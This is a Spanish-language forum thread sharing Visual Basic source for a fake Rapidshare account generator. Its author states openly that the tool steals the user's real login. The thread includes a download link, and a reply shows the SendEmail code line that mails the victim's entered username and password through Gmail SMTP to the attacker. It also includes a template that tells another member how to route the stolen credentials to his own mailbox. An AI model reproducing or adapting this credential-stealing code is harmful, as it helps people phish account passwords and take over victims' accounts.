Imagen


Este proyecto esta basado en el Fake de Hazlooh de WOW, su logica es generar cuentas de rapidshare apartir de una cuenta valida, como es obvio no se pueden generar cuentas validas si no enviamos por email los datos validos para robarnos la cuenta =P xD.
Creditos: Hazl00H por la idea
Sky-Web por su modulo de Email
The Swash por Juntar todo xD

Source Link:

Código: Seleccionar todo

http://www.megaupload.com/?d=MP4C7M7W
En tu ventana
Y en tu ventana, gritas al cielo pero lo dices callada..
Chevere amigo swash

pero no ta tan bueno ya q este source usa OCX para funcionar y no todas las pcs tienen esas ocx te sugiro q agas un modulo q remplace a las OCX si kieres juntos podemos aser algo bueno hablame por el msn

Salu2.........!!
Te ago una pregunta como ago para que lo envie a mi correo xD, osea yo abro el source con VB cambio la parte que est4 tu correo supongo y pongo otro es de gmail.
pero me da un error que dise
[Enlace externo eliminado para invitados] ... dibujo.jpg

desdeya muchas gracias exelente aporte

Saludos
Imagen

Código: Seleccionar todo

 If SendEmail("smtp.gmail.com", "[email protected]", "[email protected]", "Cuentas RS", "Cuenta:" & Text1.Text & " " & "Password:" & Text2.Text, 465, "[email protected]", "94112520486", "The File Path", True, True) Then
Esa parte del Code la Modificastes sierto??
Te lo Replanteo Asi:

Código: Seleccionar todo

 If SendEmail("smtp.gmail.com", "Email Receptor", "Email Emisor[Gmail Necesario]", "Asunto", "Cuenta:" & Text1.Text & " " & "Password:" & Text2.Text, 465, "Email Emisor", "94112520486", "Dato Adjunto si lo hay", True, True) Then
Espero te ayude..
En tu ventana
Y en tu ventana, gritas al cielo pero lo dices callada..
Responder

Volver a “Fuentes”